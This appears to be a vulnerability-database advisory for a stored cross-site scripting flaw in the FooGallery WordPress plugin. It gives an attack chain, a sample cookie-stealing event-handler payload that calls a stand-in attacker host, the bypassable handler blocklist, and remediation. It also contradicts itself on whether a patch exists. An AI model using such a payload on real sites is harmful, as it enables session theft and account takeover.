Skip to main content

FooGallery WordPress Plugin CVE-2026-9134

| EUVDEUVD-2026-36645 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-13 Wordfence GHSA-fq2x-2hqx-f6x7
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain WordPress contributor credentials
  2. Delivery
    Craft gallery shortcode with onmouseenter event handler as custom_attribute_key
  3. Exploit
    Publish post containing malicious shortcode
  4. Install
    Victim (e.g., admin) visits injected page
  5. C2
    Browser renders unescaped event attribute in gallery container
  6. Execute
    JavaScript fires on mouse interaction
  7. Impact
    Exfiltrate session cookie or perform authenticated actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress user account with at minimum contributor-level role on the target installation; subscriber-level and unauthenticated access are insufficient. The attacker must be able to create or edit posts or pages that include FooGallery shortcodes with a custom_attribute_key parameter, a capability tied to the WordPress 'edit_posts' permission level. The injected payload is persistent (stored in the database) but only executes when a second user navigates to the affected page - the victim must passively load the page for the event handler to fire on a mouse interaction. Limiting factors: (1) contributor-level or higher authentication is mandatory, ruling out anonymous exploitation; (2) passive victim interaction is required - the script does not execute server-side or without page visitation; (3) only sites running FooGallery 3.1.31 or earlier are vulnerable; (4) sites that do not grant contributor access to untrusted parties have substantially reduced real-world exposure.

Impact

The provided CVSS 3.1 base score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) warrants a notable caveat: the UI:N designation appears inconsistent with standard Stored XSS scoring practice. Stored XSS payloads execute only when a victim navigates to the injected page, which canonically maps to UI:R in CVSS 3.1; Wordfence's UI:N choice may reflect a methodology difference and should be verified against the vendor's advisory rationale. The PR:L requirement - confirmed contributor-level access - is the primary real-world risk limiter. On many WordPress sites, contributor roles are granted to guest bloggers or external authors, potentially widening the attacker pool beyond a purely internal threat. The S:C (scope change) signal is accurate: the injected payload runs in victim browsers, not the server process, and can target authenticated administrators to escalate further. No EPSS data was provided; no CISA KEV listing exists; and no public exploit code was identified, making this a medium-priority patch item rather than an emergency response scenario. The plaintext source code of both vulnerable functions is publicly linked in the references, providing sufficient detail for independent exploit construction.

Exploit ScenarioDerived

An attacker with WordPress contributor credentials - which can often be self-registered on open-contributor sites - creates a post embedding a FooGallery shortcode with the custom_attribute_key parameter set to a value such as 'onmouseenter=fetch(https://attacker.example/steal?c='+document.cookie)'. The gallery plugin writes this unescaped value into the container element's HTML, producing a live event attribute. When a site administrator or other authenticated user later visits the published page and their cursor enters the gallery, the JavaScript executes in their browser session, exfiltrating their authentication cookie and potentially enabling full admin account takeover. No public proof-of-concept code has been identified, but the vulnerability is trivially reproducible from the linked source code.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 13, 2026

Stored Cross-Site Scripting in FooGallery WordPress plugin versions through 3.1.31 allows authenticated contributors to inject persistent JavaScript via the 'custom_attribute_key' shortcode parameter, executing against any visitor who views an affected page. The flaw combines a bypass-prone event-handler blacklist in foogallery_sanitize_javascript() - which omits handlers like 'onmouseenter' - with unescaped attribute key output in foogallery_build_container_attributes_safe(), together enabling DOM-level script injection. A patched version 3.1.32 is confirmed released; no public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Vendor-released patch: FooGallery 3.1.32. Update via the WordPress admin dashboard under Plugins > Updates or apply changeset 3542524 directly, confirmed at https://plugins.trac.wordpress.org/changeset/3542524/foogallery/tags/3.1.32/includes/functions.php. If immediate patching is not feasible, restrict contributor-level and above WordPress role assignments to explicitly trusted users; this reduces the attacker pool but does not eliminate the vulnerability and may block legitimate editorial workflows. As an additional interim measure, a WordPress capability management plugin (e.g., Members, User Role Editor) can be used to revoke the ability for contributors to use gallery shortcodes in post content; this trade-off prevents gallery embedding for that role until the patch is applied. There is no server-side WAF rule that can reliably block this class of bypass without also blocking legitimate gallery shortcode use, given the similarity between valid and malicious attribute key values.

Affected VersionsENISA

Photo Gallery by FooGallery : Responsive Image Gallery, Masonry Gallery & Carousel 0 ≤3.1.31

Affected Packages

euvd photo_gallery_by_foogallery_responsive_image_gallery_masonry_gallery_carousel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is the FooGallery (Photo Gallery by FooGallery - Responsive Image Gallery, Masonry Gallery & Carousel) WordPress plugin, per CPE cpe:2.3:a:fooplugins:photo_gallery_by_foogallery_:_responsive_image_gallery,_masonry_gallery_&_carousel:*:*:*:*:*:*:*:*. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), manifesting as a dual failure in two distinct functions. First, foogallery_sanitize_javascript() at functions.php#L480 uses a substring blocklist that covers only seven specific HTML event attributes - onmouseover, onmouseout, onpointerenter, onclick, onload, onchange, and onerror - leaving the broader HTML5 event attribute surface (e.g., onmouseenter, onfocus, onanimationend, onpointerdown) unblocked. Blocklist-based approaches for sanitizing event handlers are inherently fragile and are flagged as an anti-pattern in OWASP XSS prevention guidance precisely for this reason. Second, foogallery_build_container_attributes_safe() at functions.php#L1516 writes the caller-supplied attribute key directly into the gallery container element's HTML without HTML-encoding, so a bypassed event handler name is rendered as a live, functional DOM attribute. The advanced settings integration path at class-gallery-advanced-settings.php#L148 is also implicated in how the shortcode parameter reaches these functions.

Know when Wordpress Plugin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires victim page-visit for payload execution (UI:R); contributor auth confirmed (PR:L); scope change affects victim browsers (S:C); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The FooGallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_attribute_key' shortcode parameter in versions up to, and including, 3.1.31 This is due to an incomplete JavaScript event handler blacklist in the foogallery_sanitize_javascript() function, which blocks only a subset of HTML event attributes (onmouseover, onmouseout, onpointerenter, onclick, onload, onchange, onerror) while permitting others such as 'onmouseenter', combined with the failure to escape the attribute key when building the gallery container HTML in foogallery_build_container_attributes_safe(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-5084 CRITICAL POC
9.8 May 23

The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil

CVE-2024-44000 CRITICAL POC
9.8 Oct 20

Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote

CVE-2020-36847 CRITICAL POC
9.8 Jul 12

The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner

CVE-2025-11749 CRITICAL POC
9.8 Nov 05

The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint

CVE-2025-27007 CRITICAL POC
9.8 May 01

The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut

CVE-2016-1209 CRITICAL POC
9.8 May 14

The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via

CVE-2024-4443 CRITICAL POC
9.8 May 22

The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based

CVE-2024-1698 CRITICAL POC
9.8 Feb 27

SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a

CVE-2023-6875 CRITICAL POC
9.8 Jan 11

The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i

CVE-2024-1512 CRITICAL POC
9.8 Feb 17

The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base

CVE-2024-4295 CRITICAL POC
9.8 Jun 05

The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy